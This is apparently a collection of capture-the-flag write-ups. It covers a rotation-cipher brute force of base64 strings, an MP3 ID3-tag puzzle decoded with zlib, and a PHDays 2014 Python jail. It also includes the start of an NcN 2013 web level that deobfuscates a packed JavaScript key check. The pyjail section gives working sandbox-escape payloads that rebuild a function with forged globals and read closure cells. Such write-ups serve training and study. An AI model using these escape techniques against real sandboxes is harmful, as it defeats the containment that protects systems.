(26) q2qNt29Ounw0WTwQYsdBW2uHVriKtrRBY2qDX2G0uoJBWchOtrRPW3eI
(27) r2rOu29Pvox0XUxRZteCX2vIWsjLusSCZ2rEY2H0vpKCXdiPusSQX3fJ
(28) s2sPv29Qwpy0YVySaufDY2wJXtkMvtTDa2sFZ2I0wqLDYejQvtTRY3gK
(29) t2tQw29Rxqz0ZWzTbvgEZ2xKYulNwuUEb2tGa2J0xrMEZfkRwuUSZ3hL
(30) u2uRx29SyrA0aXAUcwhFa2yLZvmOxvVFc2uHb2K0ysNFaglSxvVTa3iM
(31) v2vSy29TzsB0bYBVdxiGb2zMawnPywWGd2vIc2L0ztOGbhmTywWUb3jN
(32) w2wTz29UAtC0cZCWeyjHc2ANbxoQzxXHe2wJd2M0AuPHcinUzxXVc3kO
(33) x2xUA29VBuD0daDXfzkId2BOcypRAyYIf2xKe2N0BvQIdjoVAyYWd3lP
(34) y2yVB29WCvE0ebEYgAlJe2CPdzqSBzZJg2yLf2O0CwRJekpWBzZXe3mQ
(35) z2zWC29XDwF0fcFZhBmKf2DQeArTCAaKh2zMg2P0DxSKflqXCAaYf3nR
(36) A2AXD29YExG0gdGaiCnLg2ERfBsUDBbLi2ANh2Q0EyTLgmrYDBbZg3oS
(37) B2BYE29ZFyH0heHbjDoMh2FSgCtVECcMj2BOi2R0FzUMhnsZECcah3pT
(38) C2CZF29aGzI0ifIckEpNi2GThDuWFDdNk2CPj2S0GAVNiotaFDdbi3qU
(39) D2DaG29bHAJ0jgJdlFqOj2HUiEvXGEeOl2DQk2T0HBWOjpubGEecj3rV
(40) E2EbH29cIBK0khKemGrPk2IVjFwYHFfPm2ERl2U0ICXPkqvcHFfdk3sW
(41) F2FcI29dJCL0liLfnHsQl2JWkGxZIGgQn2FSm2V0JDYQlrwdIGgel3tX
(42) G2GdJ29eKDM0mjMgoItRm2KXlHyaJHhRo2GTn2W0KEZRmsxeJHhfm3uY
(43) H2HeK29fLEN0nkNhpJuSn2LYmIzbKIiSp2HUo2X0LFaSntyfKIign3vZ
(44) I2IfL29gMFO0olOiqKvTo2MZnJAcLJjTq2IVp2Y0MGbTouzgLJjho3wa
(45) J2JgM29hNGP0pmPjrLwUp2NaoKBdMKkUr2JWq2Z0NHcUpvAhMKkip3xb
(46) K2KhN29iOHQ0qnQksMxVq2ObpLCeNLlVs2KXr2a0OIdVqwBiNLljq3yc
(47) L2LiO29jPIR0roRltNyWr2PcqMDfOMmWt2LYs2b0PJeWrxCjOMmkr3zd
(48) M2MjP29kQJS0spSmuOzXs2QdrNEgPNnXu2MZt2c0QKfXsyDkPNnls3Ae
(49) N2NkQ29lRKT0tqTnvPAYt2ResOFhQOoYv2Nau2d0RLgYtzElQOomt3Bf
(50) O2OlR29mSLU0urUowQBZu2SftPGiRPpZw2Obv2e0SMhZuAFmRPpnu3Cg
(51) P2PmS29nTMV0vsVpxRCav2TguQHjSQqax2Pcw2f0TNiavBGnSQqov3Dh
# ./rot.py -m tracks -d "Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei"

['ABCDEFGHIJKLMNOPQRSTUVWXYZ'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RnU29oVOX0wtXqyTEbw2VhvSJkUSrby2Rdx2g0VPjbwDIoUSrpw3Fi
(2) S2SnV29oWPY0wtYqyUFbw2WhvTKkVTrby2Sdx2g0WQjbwEJoVTrpw3Gi
(3) T2TnW29oXQZ0wtZqyVGbw2XhvULkWUrby2Tdx2g0XRjbwFKoWUrpw3Hi
(4) U2UnX29oYRA0wtAqyWHbw2YhvVMkXVrby2Udx2g0YSjbwGLoXVrpw3Ii
(5) V2VnY29oZSB0wtBqyXIbw2ZhvWNkYWrby2Vdx2g0ZTjbwHMoYWrpw3Ji
(6) W2WnZ29oATC0wtCqyYJbw2AhvXOkZXrby2Wdx2g0AUjbwINoZXrpw3Ki
(7) X2XnA29oBUD0wtDqyZKbw2BhvYPkAYrby2Xdx2g0BVjbwJOoAYrpw3Li
(8) Y2YnB29oCVE0wtEqyALbw2ChvZQkBZrby2Ydx2g0CWjbwKPoBZrpw3Mi
(9) Z2ZnC29oDWF0wtFqyBMbw2DhvARkCArby2Zdx2g0DXjbwLQoCArpw3Ni
(10) A2AnD29oEXG0wtGqyCNbw2EhvBSkDBrby2Adx2g0EYjbwMRoDBrpw3Oi
(11) B2BnE29oFYH0wtHqyDObw2FhvCTkECrby2Bdx2g0FZjbwNSoECrpw3Pi
(12) C2CnF29oGZI0wtIqyEPbw2GhvDUkFDrby2Cdx2g0GAjbwOToFDrpw3Qi
(13) D2DnG29oHAJ0wtJqyFQbw2HhvEVkGErby2Ddx2g0HBjbwPUoGErpw3Ri
(14) E2EnH29oIBK0wtKqyGRbw2IhvFWkHFrby2Edx2g0ICjbwQVoHFrpw3Si
(15) F2FnI29oJCL0wtLqyHSbw2JhvGXkIGrby2Fdx2g0JDjbwRWoIGrpw3Ti
(16) G2GnJ29oKDM0wtMqyITbw2KhvHYkJHrby2Gdx2g0KEjbwSXoJHrpw3Ui
(17) H2HnK29oLEN0wtNqyJUbw2LhvIZkKIrby2Hdx2g0LFjbwTYoKIrpw3Vi
(18) I2InL29oMFO0wtOqyKVbw2MhvJAkLJrby2Idx2g0MGjbwUZoLJrpw3Wi
(19) J2JnM29oNGP0wtPqyLWbw2NhvKBkMKrby2Jdx2g0NHjbwVAoMKrpw3Xi
(20) K2KnN29oOHQ0wtQqyMXbw2OhvLCkNLrby2Kdx2g0OIjbwWBoNLrpw3Yi
(21) L2LnO29oPIR0wtRqyNYbw2PhvMDkOMrby2Ldx2g0PJjbwXCoOMrpw3Zi
(22) M2MnP29oQJS0wtSqyOZbw2QhvNEkPNrby2Mdx2g0QKjbwYDoPNrpw3Ai
(23) N2NnQ29oRKT0wtTqyPAbw2RhvOFkQOrby2Ndx2g0RLjbwZEoQOrpw3Bi
(24) O2OnR29oSLU0wtUqyQBbw2ShvPGkRPrby2Odx2g0SMjbwAFoRPrpw3Ci
(25) P2PnS29oTMV0wtVqyRCbw2ThvQHkSQrby2Pdx2g0TNjbwBGoSQrpw3Di

['abcdefghijklmnopqrstuvwxyz'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) Q2QoT29pUNW0xuWrzSDcx2UiwRIlTRscz2Qey2h0UOkcxCHpTRsqx3Ej
(2) Q2QpT29qUNW0yvWsaSDdy2UjxRImTRtda2Qfz2i0UOldyCHqTRtry3Ek
(3) Q2QqT29rUNW0zwWtbSDez2UkyRInTRueb2Qga2j0UOmezCHrTRusz3El
(4) Q2QrT29sUNW0axWucSDfa2UlzRIoTRvfc2Qhb2k0UOnfaCHsTRvta3Em
(5) Q2QsT29tUNW0byWvdSDgb2UmaRIpTRwgd2Qic2l0UOogbCHtTRwub3En
(6) Q2QtT29uUNW0czWweSDhc2UnbRIqTRxhe2Qjd2m0UOphcCHuTRxvc3Eo
(7) Q2QuT29vUNW0daWxfSDid2UocRIrTRyif2Qke2n0UOqidCHvTRywd3Ep
(8) Q2QvT29wUNW0ebWygSDje2UpdRIsTRzjg2Qlf2o0UOrjeCHwTRzxe3Eq
(9) Q2QwT29xUNW0fcWzhSDkf2UqeRItTRakh2Qmg2p0UOskfCHxTRayf3Er
(10) Q2QxT29yUNW0gdWaiSDlg2UrfRIuTRbli2Qnh2q0UOtlgCHyTRbzg3Es
(11) Q2QyT29zUNW0heWbjSDmh2UsgRIvTRcmj2Qoi2r0UOumhCHzTRcah3Et
(12) Q2QzT29aUNW0ifWckSDni2UthRIwTRdnk2Qpj2s0UOvniCHaTRdbi3Eu
(13) Q2QaT29bUNW0jgWdlSDoj2UuiRIxTReol2Qqk2t0UOwojCHbTRecj3Ev
(14) Q2QbT29cUNW0khWemSDpk2UvjRIyTRfpm2Qrl2u0UOxpkCHcTRfdk3Ew
(15) Q2QcT29dUNW0liWfnSDql2UwkRIzTRgqn2Qsm2v0UOyqlCHdTRgel3Ex
(16) Q2QdT29eUNW0mjWgoSDrm2UxlRIaTRhro2Qtn2w0UOzrmCHeTRhfm3Ey
(17) Q2QeT29fUNW0nkWhpSDsn2UymRIbTRisp2Quo2x0UOasnCHfTRign3Ez
(18) Q2QfT29gUNW0olWiqSDto2UznRIcTRjtq2Qvp2y0UObtoCHgTRjho3Ea
(19) Q2QgT29hUNW0pmWjrSDup2UaoRIdTRkur2Qwq2z0UOcupCHhTRkip3Eb
(20) Q2QhT29iUNW0qnWksSDvq2UbpRIeTRlvs2Qxr2a0UOdvqCHiTRljq3Ec
(21) Q2QiT29jUNW0roWltSDwr2UcqRIfTRmwt2Qys2b0UOewrCHjTRmkr3Ed
(22) Q2QjT29kUNW0spWmuSDxs2UdrRIgTRnxu2Qzt2c0UOfxsCHkTRnls3Ee
(23) Q2QkT29lUNW0tqWnvSDyt2UesRIhTRoyv2Qau2d0UOgytCHlTRomt3Ef
(24) Q2QlT29mUNW0urWowSDzu2UftRIiTRpzw2Qbv2e0UOhzuCHmTRpnu3Eg
(25) Q2QmT29nUNW0vsWpxSDav2UguRIjTRqax2Qcw2f0UOiavCHnTRqov3Eh

['ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RoU29pVOX0xuXrzTEcx2ViwSJlUSscz2Rey2h0VPkcxDIpUSsqx3Fj
(2) S2SpV29qWPY0yvYsaUFdy2WjxTKmVTtda2Sfz2i0WQldyEJqVTtry3Gk
(3) T2TqW29rXQZ0zwZtbVGez2XkyULnWUueb2Tga2j0XRmezFKrWUusz3Hl
(4) U2UrX29sYRA0axAucWHfa2YlzVMoXVvfc2Uhb2k0YSnfaGLsXVvta3Im
(5) V2VsY29tZSB0byBvdXIgb2ZmaWNpYWwgd2Vic2l0ZTogbHMtYWwub3Jn  ==  Welcome to our official website: ls-al.org
(6) W2WtZ29uATC0czCweYJhc2AnbXOqZXxhe2Wjd2m0AUphcINuZXxvc3Ko
(7) X2XuA29vBUD0daDxfZKid2BocYPrAYyif2Xke2n0BVqidJOvAYywd3Lp
(8) Y2YvB29wCVE0ebEygALje2CpdZQsBZzjg2Ylf2o0CWrjeKPwBZzxe3Mq
(9) Z2ZwC29xDWF0fcFzhBMkf2DqeARtCAakh2Zmg2p0DXskfLQxCAayf3Nr
(10) A2AxD29yEXG0gdGaiCNlg2ErfBSuDBbli2Anh2q0EYtlgMRyDBbzg3Os
(11) B2ByE29zFYH0heHbjDOmh2FsgCTvECcmj2Boi2r0FZumhNSzECcah3Pt
(12) C2CzF29aGZI0ifIckEPni2GthDUwFDdnk2Cpj2s0GAvniOTaFDdbi3Qu
(13) D2DaG29bHAJ0jgJdlFQoj2HuiEVxGEeol2Dqk2t0HBwojPUbGEecj3Rv
(14) E2EbH29cIBK0khKemGRpk2IvjFWyHFfpm2Erl2u0ICxpkQVcHFfdk3Sw
(15) F2FcI29dJCL0liLfnHSql2JwkGXzIGgqn2Fsm2v0JDyqlRWdIGgel3Tx
(16) G2GdJ29eKDM0mjMgoITrm2KxlHYaJHhro2Gtn2w0KEzrmSXeJHhfm3Uy
(17) H2HeK29fLEN0nkNhpJUsn2LymIZbKIisp2Huo2x0LFasnTYfKIign3Vz
(18) I2IfL29gMFO0olOiqKVto2MznJAcLJjtq2Ivp2y0MGbtoUZgLJjho3Wa
(19) J2JgM29hNGP0pmPjrLWup2NaoKBdMKkur2Jwq2z0NHcupVAhMKkip3Xb
(20) K2KhN29iOHQ0qnQksMXvq2ObpLCeNLlvs2Kxr2a0OIdvqWBiNLljq3Yc
(21) L2LiO29jPIR0roRltNYwr2PcqMDfOMmwt2Lys2b0PJewrXCjOMmkr3Zd
(22) M2MjP29kQJS0spSmuOZxs2QdrNEgPNnxu2Mzt2c0QKfxsYDkPNnls3Ae
(23) N2NkQ29lRKT0tqTnvPAyt2ResOFhQOoyv2Nau2d0RLgytZElQOomt3Bf
(24) O2OlR29mSLU0urUowQBzu2SftPGiRPpzw2Obv2e0SMhzuAFmRPpnu3Cg
(25) P2PmS29nTMV0vsVpxRCav2TguQHjSQqax2Pcw2f0TNiavBGnSQqov3Dh

# PHDays CTF Quals 2k14 - Mp3 me (1400 points)

# hexdump -C ../123.mp3 | head -n 13
00000000  49 44 33 04 00 00 00 00  1f 76 54 52 43 4b 00 00  |ID3......vTRCK..|
00000010  00 09 00 00 01 ff fe 30  00 31 00 00 00 52 47 42  |.......0.1...RGB|
00000020  37 00 00 00 0d 00 00 03  35 2c 31 38 33 2c 20 4e  |7.......
5,183, N
|
00000030  55 4c 4c 00 52 47 42 36  00 00 00 0a 00 00 03 30  |
ULL
.RGB6.......
0
|
00000040  2c 34 32 2c 31 35 39 00  52 47 42 35 00 00 00 0c  |
,42,159
.RGB5....|
00000050  00 00 03 31 39 34 2c 32  34 34 2c 36 38 00 52 47  |...
194,244,68
.RG|
00000060  42 34 00 00 00 09 00 00  03 34 37 2c 37 37 2c 36  |B4.......
47,77,6
|
00000070  00 52 47 42 33 00 00 00  0b 00 00 03 34 34 2c 37  |.RGB3.......
44,7
|
00000080  33 2c 31 34 31 00 52 47  42 32 00 00 00 0c 00 00  |
3,141
.RGB2......|
00000090  03 31 34 30 2c 32 30 37  2c 37 32 00 52 47 42 31  |.
140,207,72
.RGB1|
000000a0  00 00 00 0d 00 00 03 31  32 30 2c 31 35 36 2c 32  |.......
120,156,2
|
000000b0  30 33 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |
03
..............|
000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
# cat mp3me.py
#!/usr/bin/python

from zlib import decompress

list = [120, 156, 203, 140, 207, 72, 44, 73, 141, 47, 77, 6, 194, 244, 68, 0, 42, 159, 5, 183]
code = ''

for byte in list:
 code += '%02x' % byte

print decompress(code.decode('hex'))
# ./mp3me.py
i_hate_ucucuga

References

http://en.wikipedia.org/wiki/ID3
http://www.ietf.org/rfc/rfc1950.txt

# PHDays CTF Quals 2k14 - Yet Another Pyjail (3900 points)

# cat jail.py
import re
import sys
import string
from sys import stdout
sys.stderr = stdout

sanitize = re.compile(
    r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
    ).sub

trusted_builtins = """
    True False type int
    """.split()

alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'

t1 = ''.join(chr(code) for code in xrange(256))
t2 = []
for i in t1:
    if i in alphabet:
        t2.append(i)
    else:
        t2.append(' ')
trans_table = string.maketrans(t1, ''.join(t2))

EXPECTED = 13.37

del alphabet, t1, t2, i, sys, string, re

def clear_builtins():
    orig = __builtins__.__dict__.copy()
    __builtins__.__dict__.clear()
    for i in trusted_builtins:
        __builtins__.__dict__[i] = orig[i]

part1_of_flag = '7hE_0w15_4R3_n07_wh47_7h3Y_533m-'
part2_of_flag = '-7hEr3_15_4_m4n_1n_a_5m111n9_649'
egg = 'egg'

def main():

    if raw_input() != 'leetleetleetleet':
        return

    print ('Welcome to pyjail!\n\n'
           'Try to get the flag!\n'
           'Use ctrl+D or --- to submit your code\n')

    stdout.flush()

    code = []
    total_bytes = 0
    while True:
        try:
            value = raw_input()
            total_bytes += len(value)
            assert total_bytes < 1337
            if value == '---':
                break
            code.append(value)
        except EOFError:
            break

    code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table))
    clear_builtins()

    def sandbox():

        t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0

        def exec_in_context(ctx):
            exec code in ctx
            print 'Flag is',
            try:
                assert FLAG != part1_of_flag
                print FLAG
            except:
                print '********************'

        def we_must_be_sure_flag_part1_is_ready():
            global FLAG
            FLAG = part1_of_flag

        def we_must_be_sure_flag_part2_is_ready():
            global FLAG
            FLAG += part2_of_flag

        def divider(v1):

            a = "You are lucky!"
            b = "Try again!"

            def divider(v2):
                i,t,s,  n,o,t,  s,o,  h,a,r,d
                if int(v1) / int(v2) == EXPECTED:
                    print a
                    we_must_be_sure_flag_part2_is_ready()
                else:
                    print b
            we_must_be_sure_flag_part1_is_ready()
            return divider

        exec_in_context({'div': divider})

    sandbox()

if __name__ == '__main__':
    main()
# python jail.py
leetleetleetleet
Welcome to pyjail!

Try to get the flag!
Use ctrl+D or --- to submit your code

f = div(1)
nf = type(div)(f.func_code, type({})(EXPECTED=1, int=type(1)), closure=f.func_closure)
nf(1)
---
You are lucky!
Flag is 7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649

f = div(1337)
nf = type(div)(f.func_code, type({})(EXPECTED=13.37, int=type(1.)), closure=f.func_closure)
nf(100)
---
f = div(1)
nf = type(div)(f.func_code, {f.func_code.co_names[0]: int, f.func_code.co_names[1]: 1}, closure=f.func_closure)
nf(1)
---
f = div(1337)
nf = type(div)(f.func_code, {f.func_code.co_names[0]: type(1.), f.func_code.co_names[1]: 13.37}, closure=f.func_closure)
nf(100)
---
#div.func_closure[8].cell_contents()
#div.func_closure[9].cell_contents()
#---
def get_cell_value(cell):
 return type(lambda: 0)(
  (lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)
 )()
get_cell_value(div.func_closure[8])()
get_cell_value(div.func_closure[9])()
---

# NcN CTF Quals 2k13

Access Level 1

# curl http://ctf.noconname.org/4cbe48a830c4cd2d4ac9e6e9373e3055/index.html
<!DOCTYPE html>
<html>
  <head>
    <title>NcN 2013 Registration Quals</title>
                <link rel="stylesheet" href="../res/main.css" type="text/css" media="screen"/>
    <link href='../res/UbuntuMono.css' rel='stylesheet' type='text/css'>
    <meta content="Javier Marcos @javutin" name="author" />
        <script type="text/javascript" src="crypto.js"></script>
        </head>
<body>
        <div id="level">
        <center>
                <h2 style="color: white">Discover the buried valid key:</h2>
    <form action="login.php" method="POST" onsubmit="return encrypt(this);">
    <table border=0 align="center">
     <tr>
        <td><label style="color: white" for="key"><b>Key: </b></label></td>
        <td><input type="text" name="password" id="password" class="input"></td>
                                        <input type="hidden" name="key" id="key" value="">
                                        <input type="hidden" name="verification" id="verification" value="yes">
     </tr>
     <tr>
        <td colspan="2" align="center"><p><input type="submit" name="send" class="button" value="Send"></p></td>
     </tr>
    </table>
    </form>
        </center>
        </div>
</body>
</html>
# curl --silent http://ctf.noconname.org/4cbe48a830c4cd2d4ac9e6e9373e3055/crypto.js | sed 's/eval/console.log/'
var _0x52ae=["\x66\x20\x6F\x28\x38\x29\x7B\x63\x20\x69\x2C\x6A\x3D\x30\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x69\x2B\x2B\x29\x7B\x6A\x2B\x3D\x28\x38\x5B\x69\x5D\x2E\x73\x28\x29\x2A\x28\x69\x2B\x31\x29\x29\x7D\x67\x20\x74\x2E\x75\x28\x6A\x29\x25\x76\x7D\x66\x20\x70\x28\x68\x29\x7B\x68\x3D\x68\x2E\x71\x28\x30\x29\x3B\x63\x20\x69\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x77\x3B\x2B\x2B\x69\x29\x7B\x63\x20\x35\x3D\x69\x2E\x78\x28\x79\x29\x3B\x6D\x28\x35\x2E\x6C\x3D\x3D\x31\x29\x35\x3D\x22\x30\x22\x2B\x35\x3B\x35\x3D\x22\x25\x22\x2B\x35\x3B\x35\x3D\x7A\x28\x35\x29\x3B\x6D\x28\x35\x3D\x3D\x68\x29\x41\x7D\x67\x20\x69\x7D\x66\x20\x6E\x28\x38\x29\x7B\x63\x20\x69\x2C\x61\x3D\x30\x2C\x62\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x2B\x2B\x69\x29\x7B\x62\x3D\x70\x28\x38\x2E\x71\x28\x69\x29\x29\x3B\x61\x2B\x3D\x62\x2A\x28\x69\x2B\x31\x29\x7D\x67\x20\x61\x7D\x66\x20\x42\x28\x39\x29\x7B\x63\x20\x32\x3B\x32\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x32\x3D\x32\x2A\x28\x33\x2B\x31\x2B\x33\x2B\x33\x2B\x37\x29\x3B\x32\x3D\x32\x3E\x3E\x3E\x36\x3B\x32\x3D\x32\x2F\x34\x3B\x32\x3D\x32\x5E\x43\x3B\x6D\x28\x32\x21\x3D\x30\x29\x7B\x72\x28\x27\x44\x20\x64\x21\x27\x29\x7D\x45\x7B\x72\x28\x27\x46\x20\x64\x20\x3A\x29\x27\x29\x7D\x39\x2E\x47\x2E\x65\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x39\x2E\x48\x2E\x65\x3D\x22\x49\x22\x2B\x6F\x28\x39\x2E\x64\x2E\x65\x29\x3B\x67\x20\x4A\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x7C\x72\x65\x73\x7C\x7C\x7C\x68\x65\x78\x5F\x69\x7C\x7C\x7C\x73\x74\x72\x7C\x66\x6F\x72\x6D\x7C\x7C\x7C\x76\x61\x72\x7C\x70\x61\x73\x73\x77\x6F\x72\x64\x7C\x76\x61\x6C\x75\x65\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x66\x6F\x6F\x7C\x7C\x68\x61\x73\x68\x7C\x66\x6F\x72\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x69\x66\x7C\x6E\x75\x6D\x65\x72\x69\x63\x61\x6C\x5F\x76\x61\x6C\x75\x65\x7C\x73\x69\x6D\x70\x6C\x65\x48\x61\x73\x68\x7C\x61\x73\x63\x69\x69\x5F\x6F\x6E\x65\x7C\x63\x68\x61\x72\x41\x74\x7C\x61\x6C\x65\x72\x74\x7C\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74\x7C\x4D\x61\x74\x68\x7C\x61\x62\x73\x7C\x33\x31\x33\x33\x37\x7C\x32\x35\x36\x7C\x74\x6F\x53\x74\x72\x69\x6E\x67\x7C\x31\x36\x7C\x75\x6E\x65\x73\x63\x61\x70\x65\x7C\x62\x72\x65\x61\x6B\x7C\x65\x6E\x63\x72\x79\x70\x74\x7C\x34\x31\x35\x33\x7C\x49\x6E\x76\x61\x6C\x69\x64\x7C\x65\x6C\x73\x65\x7C\x43\x6F\x72\x72\x65\x63\x74\x7C\x6B\x65\x79\x7C\x76\x65\x72\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x7C\x79\x65\x73\x7C\x74\x72\x75\x65","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];console.log(function (_0x7038x1,_0x7038x2,_0x7038x3,_0x7038x4,_0x7038x5,_0x7038x6){_0x7038x5=function (_0x7038x3){return (_0x7038x3<_0x7038x2?_0x52ae[4]:_0x7038x5(parseInt(_0x7038x3/_0x7038x2)))+((_0x7038x3=_0x7038x3%_0x7038x2)>35?String[_0x52ae[5]](_0x7038x3+29):_0x7038x3.toString(36));} ;if(!_0x52ae[4][_0x52ae[6]](/^/,String)){while(_0x7038x3--){_0x7038x6[_0x7038x5(_0x7038x3)]=_0x7038x4[_0x7038x3]||_0x7038x5(_0x7038x3);} ;_0x7038x4=[function (_0x7038x5){return _0x7038x6[_0x7038x5];} ];_0x7038x5=function (){return _0x52ae[7];} ;_0x7038x3=1;} ;while(_0x7038x3--){if(_0x7038x4[_0x7038x3]){_0x7038x1=_0x7038x1[_0x52ae[6]]( new RegExp(_0x52ae[8]+_0x7038x5(_0x7038x3)+_0x52ae[8],_0x52ae[9]),_0x7038x4[_0x7038x3]);} ;} ;return _0x7038x1;} (_0x52ae[0],46,46,_0x52ae[3][_0x52ae[2]](_0x52ae[1]),0,{}));
# node
> var _0x52ae=["\x66\x20\x6F\x28\x38\x29\x7B\x63\x20\x69\x2C\x6A\x3D\x30\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x69\x2B\x2B\x29\x7B\x6A\x2B\x3D\x28\x38\x5B\x69\x5D\x2E\x73\x28\x29\x2A\x28\x69\x2B\x31\x29\x29\x7D\x67\x20\x74\x2E\x75\x28\x6A\x29\x25\x76\x7D\x66\x20\x70\x28\x68\x29\x7B\x68\x3D\x68\x2E\x71\x28\x30\x29\x3B\x63\x20\x69\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x77\x3B\x2B\x2B\x69\x29\x7B\x63\x20\x35\x3D\x69\x2E\x78\x28\x79\x29\x3B\x6D\x28\x35\x2E\x6C\x3D\x3D\x31\x29\x35\x3D\x22\x30\x22\x2B\x35\x3B\x35\x3D\x22\x25\x22\x2B\x35\x3B\x35\x3D\x7A\x28\x35\x29\x3B\x6D\x28\x35\x3D\x3D\x68\x29\x41\x7D\x67\x20\x69\x7D\x66\x20\x6E\x28\x38\x29\x7B\x63\x20\x69\x2C\x61\x3D\x30\x2C\x62\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x2B\x2B\x69\x29\x7B\x62\x3D\x70\x28\x38\x2E\x71\x28\x69\x29\x29\x3B\x61\x2B\x3D\x62\x2A\x28\x69\x2B\x31\x29\x7D\x67\x20\x61\x7D\x66\x20\x42\x28\x39\x29\x7B\x63\x20\x32\x3B\x32\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x32\x3D\x32\x2A\x28\x33\x2B\x31\x2B\x33\x2B\x33\x2B\x37\x29\x3B\x32\x3D\x32\x3E\x3E\x3E\x36\x3B\x32\x3D\x32\x2F\x34\x3B\x32\x3D\x32\x5E\x43\x3B\x6D\x28\x32\x21\x3D\x30\x29\x7B\x72\x28\x27\x44\x20\x64\x21\x27\x29\x7D\x45\x7B\x72\x28\x27\x46\x20\x64\x20\x3A\x29\x27\x29\x7D\x39\x2E\x47\x2E\x65\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x39\x2E\x48\x2E\x65\x3D\x22\x49\x22\x2B\x6F\x28\x39\x2E\x64\x2E\x65\x29\x3B\x67\x20\x4A\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x7C\x72\x65\x73\x7C\x7C\x7C\x68\x65\x78\x5F\x69\x7C\x7C\x7C\x73\x74\x72\x7C\x66\x6F\x72\x6D\x7C\x7C\x7C\x76\x61\x72\x7C\x70\x61\x73\x73\x77\x6F\x72\x64\x7C\x76\x61\x6C\x75\x65\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x66\x6F\x6F\x7C\x7C\x68\x61\x73\x68\x7C\x66\x6F\x72\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x69\x66\x7C\x6E\x75\x6D\x65\x72\x69\x63\x61\x6C\x5F\x76\x61\x6C\x75\x65\x7C\x73\x69\x6D\x70\x6C\x65\x48\x61\x73\x68\x7C\x61\x73\x63\x69\x69\x5F\x6F\x6E\x65\x7C\x63\x68\x61\x72\x41\x74\x7C\x61\x6C\x65\x72\x74\x7C\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74\x7C\x4D\x61\x74\x68\x7C\x61\x62\x73\x7C\x33\x31\x33\x33\x37\x7C\x32\x35\x36\x7C\x74\x6F\x53\x74\x72\x69\x6E\x67\x7C\x31\x36\x7C\x75\x6E\x65\x73\x63\x61\x70\x65\x7C\x62\x72\x65\x61\x6B\x7C\x65\x6E\x63\x72\x79\x70\x74\x7C\x34\x31\x35\x33\x7C\x49\x6E\x76\x61\x6C\x69\x64\x7C\x65\x6C\x73\x65\x7C\x43\x6F\x72\x72\x65\x63\x74\x7C\x6B\x65\x79\x7C\x76\x65\x72\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x7C\x79\x65\x73\x7C\x74\x72\x75\x65","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];console.log(function (_0x7038x1,_0x7038x2,_0x7038x3,_0x7038x4,_0x7038x5,_0x7038x6){_0x7038x5=function (_0x7038x3){return (_0x7038x3<_0x7038x2?_0x52ae[4]:_0x7038x5(parseInt(_0x7038x3/_0x7038x2)))+((_0x7038x3=_0x7038x3%_0x7038x2)>35?String[_0x52ae[5]](_0x7038x3+29):_0x7038x3.toString(36));} ;if(!_0x52ae[4][_0x52ae[6]](/^/,String)){while(_0x7038x3--){_0x7038x6[_0x7038x5(_0x7038x3)]=_0x7038x4[_0x7038x3]||_0x7038x5(_0x7038x3);} ;_0x7038x4=[function (_0x7038x5){return _0x7038x6[_0x7038x5];} ];_0x7038x5=function (){return _0x52ae[7];} ;_0x7038x3=1;} ;while(_0x7038x3--){if(_0x7038x4[_0x7038x3]){_0x7038x1=_0x7038x1[_0x52ae[6]]( new RegExp(_0x52ae[8]+_0x7038x5(_0x7038x3)+_0x52ae[8],_0x52ae[9]),_0x7038x4[_0x7038x3]);} ;} ;return _0x7038x1;} (_0x52ae[0],46,46,_0x52ae[3][_0x52ae[2]](_0x52ae[1]),0,{}));
